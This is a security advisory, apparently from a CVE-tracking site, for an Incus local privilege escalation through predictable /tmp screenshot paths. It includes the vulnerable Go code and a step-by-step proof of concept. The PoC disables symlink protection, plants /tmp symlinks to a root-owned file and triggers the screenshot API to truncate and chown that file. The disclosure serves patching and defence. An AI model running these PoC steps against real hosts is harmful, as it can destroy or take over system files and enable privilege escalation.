CVE-2026-33711: Incus vulnerable to local privilege escalation through VM screenshot path

Published Mar 26, 2026
·
Updated

Summary Incus provides an API to retrieve VM screenshots, that API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion.

As Incus uses predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time.

On the vast majority of Linux systems, this will result in a "Permission denied" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, protectedsymlinks.

On the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation.

Details The incusd daemon contains a local privilege escalation (LPE) primitive in the Virtual Machine VGA screenshot handling routine. When a screenshot is requested, the daemon creates a file in the globally writable /tmp directory using a deterministic pathname derived from the instance identifier. Because this implementation uses a predictable pathname in a world-writable directory, it exposes the operation to pathname attacks. The file permissions are then restricted, and the file is passed to the QEMU screenshot routine. In the QEMU path, ownership is transferred to the unprivileged Virtual Machine UID before the QEMU Machine Protocol is invoked with the same pathname.

An attacker able to pre-place or otherwise control that pathname can redirect truncation and ownership changes to an unintended host file.

This allows attacker-chosen host files to be truncated and have ownership reassigned to the unprivileged VM UID. In practice, this can be used to destroy sensitive root-owned files and alter ownership of security-relevant host paths. Depending on the targeted path and follow-up conditions, the impact may include denial of service, corruption of credentials or configuration, persistence through modified startup or service files, and further privilege escalation on the host.

As previously mentioned, this is only possible if the kernel protection mechanism has been previously disabled. It's possible to check on its status by reading the file at /proc/sys/fs/protectedsymlinks, a value of 0 is required for this attack to work.

Affected File: https://github.com/lxc/incus/blob/v6.20.0/cmd/incusd/instanceconsole.go

Affected Code: go func instanceConsoleGet(d Daemon, r http.Request) response.Response { [...] } else if inst.Type() == instancetype.VM { v, ok := inst.(instance.VM) if !ok { return response.SmartError(errors.New("Failed to cast inst to VM")) }

var headers map[string]string if consoleLogType == "vga" { screenshotFile, err := os.Create(fmt.Sprintf("/tmp/incusscreenshot%d", inst.ID())) if err != nil { return response.SmartError(fmt.Errorf("Couldn't create screenshot file: %w", err)) }

err = screenshotFile.Chmod(0o600) if err != nil { return response.SmartError(err) }

ent.Cleanup = func() { = screenshotFile.Close() = os.Remove(screenshotFile.Name()) }

err = v.ConsoleScreenshot(screenshotFile) if err != nil { return response.SmartError(err) } [...] } [...] }

Affected File: https://github.com/lxc/incus/blob/v6.20.0/internal/server/instance/drivers/driverqemu.go

Affected Code: go func (d qemu) ConsoleScreenshot(screenshotFile os.File) error { if !d.IsRunning() { return errors.New("Instance is not running") }

// Check if the agent is running. monitor, err := d.qmpConnect() if err != nil { return err }

err = screenshotFile.Chown(int(d.state.OS.UnprivUID), -1) if err != nil { return fmt.Errorf("Failed to chown screenshot path: %w", err) }

// Take the screenshot. err = monitor.Screendump(screenshotFile.Name()) if err != nil { return fmt.Errorf("Failed taking screenshot: %w", err) }

return nil }

PoC The following PoC demonstrates that a local attacker can pre-place symlink traps in the predictable /tmp/incusscreenshot<ID> namespace and coerce the root incusd daemon into truncating an unintended host file and reassigning its ownership during a VM VGA screenshot request.

Step 0: Disable the kernel symlink protection mechanism

Commands (as root): echo 0 > /proc/sys/fs/protectedsymlinks

Step 1: Prepare the target VM

From an Incus client with access to the target server, ensure a running virtual machine exists that can service the VGA screenshot path.

Commands: incus init images:alpine/edge lpe-vm --vm --project default incus config set lpe-vm security.secureboot=false --project default incus start lpe-vm --project default

Step 2: Create a root-owned trap target and pre-place /tmp symlinks

On the Incus host, create a sensitive root-owned file and place symlinks across a range of likely screenshot identifiers so that the predictable daemon pathname resolves to the chosen host target.

Commands: echo "SuperSecretRootHash" > /root/shadowtrap chmod 600 /root/shadowtrap ls -l /root/shadowtrap

for i in $(seq 1 100); do ln -sf /root/shadowtrap /tmp/incusscreenshot$i done

ls -l /tmp/incusscreenshot | head

Result: -rw------- 1 root root 20 Mar 18 00:27 /root/shadowtrap

Step 3: Trigger the vulnerable screenshot path

From an Incus client with access to the target server, request the VM VGA console through the Incus API. This causes the daemon to open the predictable /tmp/incusscreenshot<ID> path, change its ownership, and pass the same pathname into the QEMU screendump flow.

Command: incus query -X GET "/1.0/instances/lpe-vm/console?project=default&type=vga" > /dev/null

Result: Error: Failed taking screenshot: Failed to connect to QEMU monitor

Step 4: Verify host-side impact

On the Incus host, inspect the previously root-owned target file and confirm that it has been truncated and that ownership has been reassigned to the unprivileged VM UID.

Command: ls -l /root/shadowtrap && stat /root/shadowtrap

Result: -rw------- 1 incus root 0 Mar 18 00:29 /root/shadowtrap File: /root/shadowtrap Size: 0 Access: (0600/-rw-------) Uid: ( 100000/ incus) Gid: ( 0/ root)

It is recommended to create the temporary file securely in a directory controlled exclusively by the daemon, avoid predictable /tmp paths, and avoid reusing a mutable pathname after file creation.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Other sources

Incus is a system container and virtual machine manager. Incus provides an API to retrieve VM screenshots. That API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion. As versions prior to 6.23.0 use predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time. On the vast majority of Linux systems, this will result in a "Permission denied" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, protectedsymlinks. On the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation. Version 6.23.0 fixes the issue.

MITRE

Affected Software

3 affected componentsFixes available
Incus Incus<6.23.0
go/github.com/lxc/incus/v6<6.23.0
6.23.0
linuxcontainers Incus<6.23.0

Event History

Mar 26, 2026
CVE Published
via MITRE·10:37 PM
Data Sourced
via MITRE·10:37 PM
DescriptionWeakness
Data Sourced
via NVD·11:16 PM
DescriptionSeverityWeaknessAffected Software
Mar 27, 2026
Advisory Published
via GitHub·05:09 PM
Data Sourced
via GitHub·05:09 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33711?

CVE-2026-33711 is classified as a high severity local privilege escalation vulnerability.

2

How do I fix CVE-2026-33711?

To mitigate CVE-2026-33711, upgrade to Incus version 6.23.0 or later.

3

What is the impact of CVE-2026-33711?

CVE-2026-33711 allows unauthorized users to gain elevated privileges through VM screenshot functionality.

4

Which versions of Incus are affected by CVE-2026-33711?

CVE-2026-33711 affects all versions of Incus prior to 6.23.0.

5

Can CVE-2026-33711 be exploited remotely?

CVE-2026-33711 requires local access to exploit, making it a local privilege escalation vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203